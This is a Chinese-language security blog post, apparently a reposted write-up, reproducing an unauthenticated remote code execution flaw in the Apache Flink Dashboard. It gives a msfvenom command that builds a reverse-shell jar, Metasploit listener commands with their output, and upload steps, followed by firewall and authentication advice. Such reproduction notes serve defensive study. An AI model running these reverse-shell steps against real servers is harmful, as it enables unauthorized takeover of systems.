Apache Flink未授权访问-远程代码命令执行-复现

  • A+
所属分类:安全文章


Apache Flink未授权访问-远程代码命令执行-复现

好久没更新了,今天趁1024更新一篇,最近工作中遇到这个漏洞,今天自己来做一下这个漏洞复现。



Apache Flink未授权访问-远程代码命令执行-复现



Apache Flink未授权访问-远程代码命令执行-复现

一、漏洞简介

Apache Flink Dashboard默认没有用户权限认证。攻击者可以通过未授权的Flink Dashboard控制台,直接上传木马jar包,可远程执行任意系统命令获取服务器权限,风险极大。


二、影响版本

Apache Flink <= 1.9.1(最新版本)


三、漏洞复现


1、生成反弹jar

msfvenom -p java/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4444 -f jar > rce.jar

Apache Flink未授权访问-远程代码命令执行-复现

2、msf设置监听

msf5 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcpmsf5 exploit(multi/handler) > set payload java/shell/reverse_tcp payload => java/shell/reverse_tcpmsf5 exploit(multi/handler) > show options 
Module options (exploit/multi/handler):
Name Current Setting Required Description ---- --------------- -------- -----------

Payload options (java/shell/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port

Exploit target:
Id Name -- ---- 0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST XX.XX.XX.XXLHOST => XX.XX.XX.XXmsf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on XX.XX.XX.XX:4444

Apache Flink未授权访问-远程代码命令执行-复现

3、上传 Jar包,并且提交

Apache Flink未授权访问-远程代码命令执行-复现

监听接受反弹的shell,获取权限

Apache Flink未授权访问-远程代码命令执行-复现


四、安全建议


1. 请关注Apache Flink官方以便获取更新信息:https://flink.apache.org/

 

2.针对ApacheFlinkDashboard设置防火墙策略(禁止Dashboard对外访问,或者确保只对可信端点开放), 仅允许白名单IP进行访问,并在Web代理中增加对该服务的Digest认证,防止未授权访问。关于认证设置可参考链接:

https://httpd.apache.org/docs/2.4/mod/mod_auth_digest.html。


五、参考连接


http://www.llidc.com/news/858.html

https://nitec.jhun.edu.cn/da/64/c4987a121444/page.htm


免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

Apache Flink未授权访问-远程代码命令执行-复现

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

个人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html

Apache Flink未授权访问-远程代码命令执行-复现



本文始发于微信公众号(thelostworld):Apache Flink未授权访问-远程代码命令执行-复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: